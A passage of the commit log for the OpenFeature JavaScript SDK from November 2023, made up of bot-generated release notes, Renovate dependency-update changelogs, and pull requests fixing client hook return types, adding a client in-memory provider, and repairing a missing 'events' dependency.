Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-21 15:31:00 -05:00
OpenFeature Bot c80522fbe2
chore(main): release server-sdk 1.7.3 (#674)
🤖 I have created a release *beep* *boop*
---


##
[1.7.3](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.7.2...server-sdk-v1.7.3)
(2023-11-21)


### 🧹 Chore

* **main:** release core 0.0.19
([#676](https://github.com/open-feature/js-sdk/issues/676))
([b0cbeb4](b0cbeb460c))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-21 15:27:29 -05:00
OpenFeature Bot 69d2c88c5e
chore(main): release web-sdk 0.4.6 (#675)
🤖 I have created a release *beep* *boop*
---


##
[0.4.6](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.5...web-sdk-v0.4.6)
(2023-11-21)


### 🐛 Bug Fixes

* make hooks in client sdk only return void
([#671](https://github.com/open-feature/js-sdk/issues/671))
([a7d0b95](a7d0b954dc))


###  New Features

* client in memory provider
([#617](https://github.com/open-feature/js-sdk/issues/617))
([6051dfd](6051dfd583))


### 🧹 Chore

* **main:** release core 0.0.19
([#676](https://github.com/open-feature/js-sdk/issues/676))
([b0cbeb4](b0cbeb460c))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2023-11-21 15:23:37 -05:00
OpenFeature Bot b0cbeb460c
chore(main): release core 0.0.19 (#676)
🤖 I have created a release *beep* *boop*
---


##
[0.0.19](https://github.com/open-feature/js-sdk/compare/core-v0.0.18...core-v0.0.19)
(2023-11-21)


### 🐛 Bug Fixes

* make hooks in client sdk only return void
([#671](https://github.com/open-feature/js-sdk/issues/671))
([a7d0b95](a7d0b954dc))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-21 15:20:25 -05:00
Luiz Guilherme Ribeiro 6051dfd583
feat: client in memory provider (#617)
## This PR

- Adds in memory provider implementation for client (web) sdk
- Move files from server sdk to shared

### Related Issues

Closes #565 

### Notes

It's a first try. Any feedback and enhancement proposals are welcome :)

### How to test

Automated/unit testes were implemented, but e2e tests wouldn't hurt.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-11-21 19:47:01 +00:00
Lukas Reining a7d0b954dc
fix: make hooks in client sdk only return void (#671)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR

Fixes return type of hooks in client SDK. 

Maybe we should make this more clear in the spec @toddbaert.

### Related Issues
Fixes #630 

### Notes
<!-- any additional notes for this PR -->

### Follow-up Tasks
<!-- anything that is related to this PR but not done here should be
noted under this section -->
<!-- if there is a need for a new issue, please link it here -->

### How to test
<!-- if applicable, add testing instructions under this section -->

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-21 16:31:33 +00:00
renovate[bot] 00a6d2efb4
chore(deps): update dependency eslint-plugin-jest to v27.6.0 (#603)
[![Mend Renovate logo
banner](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jest](https://togithub.com/jest-community/eslint-plugin-jest)
| [`27.2.3` ->
`27.6.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jest/27.2.3/27.6.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jest/27.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jest/27.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jest/27.2.3/27.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jest/27.2.3/27.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>jest-community/eslint-plugin-jest
(eslint-plugin-jest)</summary>

###
[`v27.6.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2760-2023-10-26)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.5.0...v27.6.0)

##### Features

- include plugin `meta` information for ESLint v9
([#&#8203;1454](https://togithub.com/jest-community/eslint-plugin-jest/issues/1454))
([4d57146](4d57146763))

###
[`v27.5.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2750-2023-10-26)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.4.3...v27.5.0)

##### Features

- **valid-title:** allow ignoring tests with non-string titles
([#&#8203;1460](https://togithub.com/jest-community/eslint-plugin-jest/issues/1460))
([ea89da9](ea89da9b4e))

####
[27.4.3](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.4.2...v27.4.3)
(2023-10-20)

##### Bug Fixes

- **expect-expert:** change reporting node
([#&#8203;1452](https://togithub.com/jest-community/eslint-plugin-jest/issues/1452))
([64d5cda](64d5cda7e6))

####
[27.4.2](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.4.1...v27.4.2)
(2023-09-29)

##### Bug Fixes

- make rule message punctuation consistent
([#&#8203;1444](https://togithub.com/jest-community/eslint-plugin-jest/issues/1444))
([84121ee](84121eee01))

####
[27.4.1](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.4.0...v27.4.1)
(2023-09-29)

##### Bug Fixes

- **no-focused-tests:** make reporting location consistent
([#&#8203;1443](https://togithub.com/jest-community/eslint-plugin-jest/issues/1443))
([a871775](a871775044))

###
[`v27.4.3`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2743-2023-10-20)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.4.2...v27.4.3)

##### Bug Fixes

- **expect-expert:** change reporting node
([#&#8203;1452](https://togithub.com/jest-community/eslint-plugin-jest/issues/1452))
([64d5cda](64d5cda7e6))

###
[`v27.4.2`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2742-2023-09-29)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.4.1...v27.4.2)

##### Bug Fixes

- make rule message punctuation consistent
([#&#8203;1444](https://togithub.com/jest-community/eslint-plugin-jest/issues/1444))
([84121ee](84121eee01))

###
[`v27.4.1`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2741-2023-09-29)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.4.0...v27.4.1)

##### Bug Fixes

- **no-focused-tests:** make reporting location consistent
([#&#8203;1443](https://togithub.com/jest-community/eslint-plugin-jest/issues/1443))
([a871775](a871775044))

###
[`v27.4.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2740-2023-09-15)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.3.0...v27.4.0)

##### Features

- **valid-title:** support ignoring leading and trailing whitespace
([#&#8203;1433](https://togithub.com/jest-community/eslint-plugin-jest/issues/1433))
([bc96473](bc96473488))

###
[`v27.3.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2730-2023-09-15)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.2.3...v27.3.0)

##### Features

- add `no-confusing-set-time` rule
([#&#8203;1425](https://togithub.com/jest-community/eslint-plugin-jest/issues/1425))
([ff8e482](ff8e482380))

####
[27.2.3](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.2.2...v27.2.3)
(2023-07-13)

##### Bug Fixes

- allow `@typescript-eslint/eslint-plugin` v6 as peer dep
([#&#8203;1400](https://togithub.com/jest-community/eslint-plugin-jest/issues/1400))
([04b2bf2](04b2bf29bf)),
closes
[#&#8203;1398](https://togithub.com/jest-community/eslint-plugin-jest/issues/1398)

####
[27.2.2](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.2.1...v27.2.2)
(2023-06-19)

##### Bug Fixes

- add missing (optional) peer dependency on Jest
([#&#8203;1384](https://togithub.com/jest-community/eslint-plugin-jest/issues/1384))
([34c3d32](34c3d32cab))

####
[27.2.1](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.2.0...v27.2.1)
(2023-01-06)

##### Bug Fixes

- **valid-expect-in-promise:** handle sparse arrays
([#&#8203;1325](https://togithub.com/jest-community/eslint-plugin-jest/issues/1325))
([21e72c9](21e72c9d94))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xOS4yIiwidXBkYXRlZEluVmVyIjoiMzcuNDYuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-11-16 15:15:08 -05:00
renovate[bot] a6a4cd414f
chore(deps): update dependency @types/node to v18.18.9 (#638)
[![Mend Renovate logo
banner](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`18.18.6` ->
`18.18.9`](https://renovatebot.com/diffs/npm/@types%2fnode/18.18.6/18.18.9)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/18.18.9?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/18.18.9?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/18.18.6/18.18.9?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/18.18.6/18.18.9?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMS41IiwidXBkYXRlZEluVmVyIjoiMzcuNDYuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-11-16 15:14:36 -05:00
renovate[bot] b470ac06a1
chore(deps): update dependency @types/jest to v29.5.8 (#639)
[![Mend Renovate logo
banner](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/jest](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`29.5.6` ->
`29.5.8`](https://renovatebot.com/diffs/npm/@types%2fjest/29.5.6/29.5.8)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fjest/29.5.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fjest/29.5.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fjest/29.5.6/29.5.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fjest/29.5.6/29.5.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMS41IiwidXBkYXRlZEluVmVyIjoiMzcuNDYuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-11-16 15:14:18 -05:00
renovate[bot] 8c7aad2340
chore(deps): update dependency eslint to v8.53.0 (#606)
[![Mend Renovate logo
banner](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint](https://eslint.org)
([source](https://togithub.com/eslint/eslint)) | [`8.51.0` ->
`8.53.0`](https://renovatebot.com/diffs/npm/eslint/8.51.0/8.53.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint/8.53.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint/8.53.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint/8.51.0/8.53.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint/8.51.0/8.53.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>eslint/eslint (eslint)</summary>

### [`v8.53.0`](https://togithub.com/eslint/eslint/releases/tag/v8.53.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.52.0...v8.53.0)

#### Features

-
[`528e1c0`](528e1c00dc)
feat: Deprecate formatting rules
([#&#8203;17696](https://togithub.com/eslint/eslint/issues/17696))
(Nicholas C. Zakas)
-
[`c0b11dd`](c0b11ddb9f)
feat: Add suggestions for no-prototype-builtins
([#&#8203;17677](https://togithub.com/eslint/eslint/issues/17677))
(Yonathan Randolph)

#### Bug Fixes

-
[`1ad6257`](1ad6257744)
fix: ensure that exit code for fatal errors is not overwritten
([#&#8203;17683](https://togithub.com/eslint/eslint/issues/17683))
(Milos Djermanovic)
-
[`b329ea7`](b329ea748d)
fix: add `;` after JSX nodes in `no-object-constructor` autofix
([#&#8203;17672](https://togithub.com/eslint/eslint/issues/17672))
(Francesco Trotta)

#### Documentation

-
[`ab8c60d`](ab8c60d4f8)
docs: change position of return to top button
([#&#8203;17688](https://togithub.com/eslint/eslint/issues/17688))
(Tanuj Kanti)
-
[`4fc44c0`](4fc44c0b8c)
docs: update twitter icon to new X icon
([#&#8203;17687](https://togithub.com/eslint/eslint/issues/17687))
(Tanuj Kanti)
-
[`4164b2c`](4164b2ceec)
docs: Update README (GitHub Actions Bot)
-
[`8651895`](8651895ca7)
docs: Fix tabs in rule examples
([#&#8203;17653](https://togithub.com/eslint/eslint/issues/17653))
(Francesco Trotta)
-
[`3aec1c5`](3aec1c55ba)
docs: explained rule fixers and suggestions
([#&#8203;17657](https://togithub.com/eslint/eslint/issues/17657)) (Josh
Goldberg )

#### Chores

-
[`ba4d4d5`](ba4d4d567a)
chore: remove metascraper
([#&#8203;17707](https://togithub.com/eslint/eslint/issues/17707))
(Milos Djermanovic)
-
[`0d07338`](0d07338829)
chore: Update dependencies
([#&#8203;17706](https://togithub.com/eslint/eslint/issues/17706))
(Milos Djermanovic)
-
[`93256a3`](93256a32e3)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`485ec7d`](485ec7d08e)
test: fix ESLint tests for caching
([#&#8203;17699](https://togithub.com/eslint/eslint/issues/17699))
(Milos Djermanovic)
-
[`db06a7f`](db06a7ff79)
ci: bump actions/setup-node from 3 to 4
([#&#8203;17676](https://togithub.com/eslint/eslint/issues/17676))
(dependabot\[bot])
-
[`994596b`](994596b07f)
ci: run tests in Node.js 21
([#&#8203;17673](https://togithub.com/eslint/eslint/issues/17673))
(Francesco Trotta)

### [`v8.52.0`](https://togithub.com/eslint/eslint/releases/tag/v8.52.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.51.0...v8.52.0)

#### Features

-
[`70648ee`](70648ee49c)
feat: report-unused-disable-directive to report unused eslint-enable
([#&#8203;17611](https://togithub.com/eslint/eslint/issues/17611))
(Yosuke Ota)

#### Bug Fixes

-
[`5de9637`](5de9637fc9)
fix: Ensure shared references in rule configs are separated
([#&#8203;17666](https://togithub.com/eslint/eslint/issues/17666))
(Nicholas C. Zakas)
-
[`dcfe573`](dcfe5739c3)
fix: add preceding semicolon in suggestions of `no-object-constructor`
([#&#8203;17649](https://togithub.com/eslint/eslint/issues/17649))
(Francesco Trotta)

#### Documentation

-
[`476d58a`](476d58a584)
docs: Add note about invalid CLI flags when using flat config.
([#&#8203;17664](https://togithub.com/eslint/eslint/issues/17664))
(Nicholas C. Zakas)
-
[`660ed3a`](660ed3afd1)
docs: Plugin flat config migration guide
([#&#8203;17640](https://togithub.com/eslint/eslint/issues/17640))
(Nicholas C. Zakas)
-
[`a58aa20`](a58aa200fc)
docs: fix examples for several rules
([#&#8203;17645](https://togithub.com/eslint/eslint/issues/17645))
(Milos Djermanovic)
-
[`179929b`](179929bd46)
docs: Remove trailing newline from the code of Playground links
([#&#8203;17641](https://togithub.com/eslint/eslint/issues/17641))
(Francesco Trotta)
-
[`f8e5c30`](f8e5c30636)
docs: Update README (GitHub Actions Bot)
-
[`b7ef2f3`](b7ef2f34fe)
docs: Enable pretty code formatter output
([#&#8203;17635](https://togithub.com/eslint/eslint/issues/17635))
(Nicholas C. Zakas)
-
[`0bcb9a8`](0bcb9a8db6)
docs: Fix syntax errors in rule examples
([#&#8203;17633](https://togithub.com/eslint/eslint/issues/17633))
(Francesco Trotta)
-
[`61b9083`](61b9083963)
docs: Make no-continue example code work
([#&#8203;17643](https://togithub.com/eslint/eslint/issues/17643))
(Zhongyuan Zhou)
-
[`9fafe45`](9fafe450c3)
docs: upgrade to 11ty 2.0
([#&#8203;17632](https://togithub.com/eslint/eslint/issues/17632))
(Percy Ma)
-
[`ff8e4bf`](ff8e4bf327)
docs: Update README (GitHub Actions Bot)
-
[`fab249a`](fab249ae6a)
docs: Update README (GitHub Actions Bot)
-
[`392305b`](392305bf47)
docs: Update `no-irregular-whitespace` and fix examples
([#&#8203;17626](https://togithub.com/eslint/eslint/issues/17626))
(Francesco Trotta)
-
[`6b8acfb`](6b8acfb770)
docs: Add real whitespace to `no-trailing-spaces` examples
([#&#8203;17630](https://togithub.com/eslint/eslint/issues/17630))
(Francesco Trotta)
-
[`1000187`](1000187e00)
docs: Fix examples in `unicode-bom`
([#&#8203;17631](https://togithub.com/eslint/eslint/issues/17631))
(Francesco Trotta)
-
[`000290c`](000290c4c9)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`6d1f0c2`](6d1f0c2da0)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).52.0
([#&#8203;17671](https://togithub.com/eslint/eslint/issues/17671))
(Milos Djermanovic)
-
[`d63d4fe`](d63d4fe094)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`f30cefe`](f30cefee6b)
test: fix FlatESLint tests for caching
([#&#8203;17658](https://togithub.com/eslint/eslint/issues/17658))
(Milos Djermanovic)
-
[`ef650cb`](ef650cb612)
test: update tests for no-promise-executor-return
([#&#8203;17661](https://togithub.com/eslint/eslint/issues/17661))
(Milos Djermanovic)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMS4yIiwidXBkYXRlZEluVmVyIjoiMzcuNDYuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-11-13 16:50:26 -05:00
Michael Beemer f41b9382a5
chore: remove prerelease badge from release please config (#648)
## This PR

- remove the prerelease badge from the Release Please config

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-13 12:36:07 -05:00
OpenFeature Bot 98d96b964a
chore(main): release react-sdk 0.0.3-experimental (#656)
🤖 I have created a release *beep* *boop*
---


##
[0.0.3-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.2-experimental...react-sdk-v0.0.3-experimental)
(2023-11-09)


### 🧹 Chore

* **main:** release core 0.0.17
([#651](https://github.com/open-feature/js-sdk/issues/651))
([3c9fdd9](3c9fdd9e4c))
* **main:** release core 0.0.18
([#661](https://github.com/open-feature/js-sdk/issues/661))
([cf7bbf0](cf7bbf0639))
* update spec version link
([0032a81](0032a81924))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-10 20:17:49 -06:00
OpenFeature Bot 6250f5d06d
chore(main): release server-sdk 1.7.2 (#662)
🤖 I have created a release *beep* *boop*
---


##
[1.7.2](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.7.1...server-sdk-v1.7.2)
(2023-11-09)


### 🐛 Bug Fixes

* missing events bundled dep
([#660](https://github.com/open-feature/js-sdk/issues/660))
([f0e2aa6](f0e2aa617f))


### 🧹 Chore

* **main:** release core 0.0.18
([#661](https://github.com/open-feature/js-sdk/issues/661))
([cf7bbf0](cf7bbf0639))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-09 09:31:34 -06:00
OpenFeature Bot 78607978b6
chore(main): release web-sdk 0.4.5 (#663)
🤖 I have created a release *beep* *boop*
---


##
[0.4.5](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.4...web-sdk-v0.4.5)
(2023-11-09)


### 🐛 Bug Fixes

* missing events bundled dep
([#660](https://github.com/open-feature/js-sdk/issues/660))
([f0e2aa6](f0e2aa617f))


### 🧹 Chore

* **main:** release core 0.0.18
([#661](https://github.com/open-feature/js-sdk/issues/661))
([cf7bbf0](cf7bbf0639))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2023-11-09 08:05:21 -06:00
OpenFeature Bot cf7bbf0639
chore(main): release core 0.0.18 (#661)
🤖 I have created a release *beep* *boop*
---


##
[0.0.18](https://github.com/open-feature/js-sdk/compare/core-v0.0.17...core-v0.0.18)
(2023-11-09)


### 🐛 Bug Fixes

* missing events bundled dep
([#660](https://github.com/open-feature/js-sdk/issues/660))
([f0e2aa6](f0e2aa617f))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2023-11-09 08:02:25 -06:00
Todd Baert f0e2aa617f
fix: missing events bundled dep (#660)
Fixes: https://github.com/open-feature/js-sdk/issues/659

This PR fixes an issue created with [this
change](https://github.com/open-feature/js-sdk/pull/650), which removed
the `events` polyfill package from `@openfeature/core` where is wasn't
always needed (see that issue for details). The problem was that we
still imported `events` in the `@openfeature/core` module, but can't use
the `events` bundled in the `@openfeature/web-sdk` since the bundled
package there isn't accessible from imports in `@openfeature/core`.

This PR _**removes all imports of `events`**_ from `@openfeature/core`,
and instead only imports types. Imports of `events` only now occur in
the web-sdk (where it's bundled) and server-sdk (where it's made
available by the node runtime), not in the common module.

Unfortunately this issue was a bit tough to track down, because `events`
is VERY common, and lots of bundlers, etc will add it, so it's
frequently available "accidentally".

Thanks to @juanparadox for the report.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-09 13:57:52 +00:00
OpenFeature Bot d9b922b2d3
chore(main): release server-sdk 1.7.1 (#653)
🤖 I have created a release *beep* *boop*
---


##
[1.7.1](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.7.0...server-sdk-v1.7.1)
(2023-11-03)


### 🧹 Chore

* **main:** release core 0.0.17
([#651](https://github.com/open-feature/js-sdk/issues/651))
([3c9fdd9](3c9fdd9e4c))
* update spec version link
([74d4b23](74d4b23f07))
* add setProviderAndWait examples
([#614](https://github.com/open-feature/js-sdk/issues/614))
([6b3a4e3](6b3a4e3f93))

### 📚 Documentation

* extend yarn docs
([#647](https://github.com/open-feature/js-sdk/issues/647))
([e72fc19](e72fc19da3))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-03 14:09:35 -04:00
OpenFeature Bot 8d9644dea6
chore(main): release web-sdk 0.4.4 (#654)
🤖 I have created a release *beep* *boop*
---


##
[0.4.4](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.3...web-sdk-v0.4.4)
(2023-11-03)


### 🧹 Chore

* **main:** release core 0.0.17
([#651](https://github.com/open-feature/js-sdk/issues/651))
([3c9fdd9](3c9fdd9e4c))
* update spec version link
([eef0fc0](eef0fc0a3a))
* add setProviderAndWait examples
([#614](https://github.com/open-feature/js-sdk/issues/614))
([6b3a4e3](6b3a4e3f93))


### 📚 Documentation

* extend yarn docs
([#647](https://github.com/open-feature/js-sdk/issues/647))
([e72fc19](e72fc19da3))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-03 14:03:10 -04:00
Todd Baert bac321ee42
chore: update release please config to use emoji like others
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-03 14:00:05 -04:00
Michael Beemer 6b3a4e3f93
fix: add setProviderAndWait examples (#614)
## This PR

- adds `setProviderAndWait` example on the server readme
- adds `setProviderAndWait` example on the client readme
- fixed invalid link on the server readme

### Related Issues

Fixes #613 

### Notes

The React SDK wasn't updated in this PR.

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
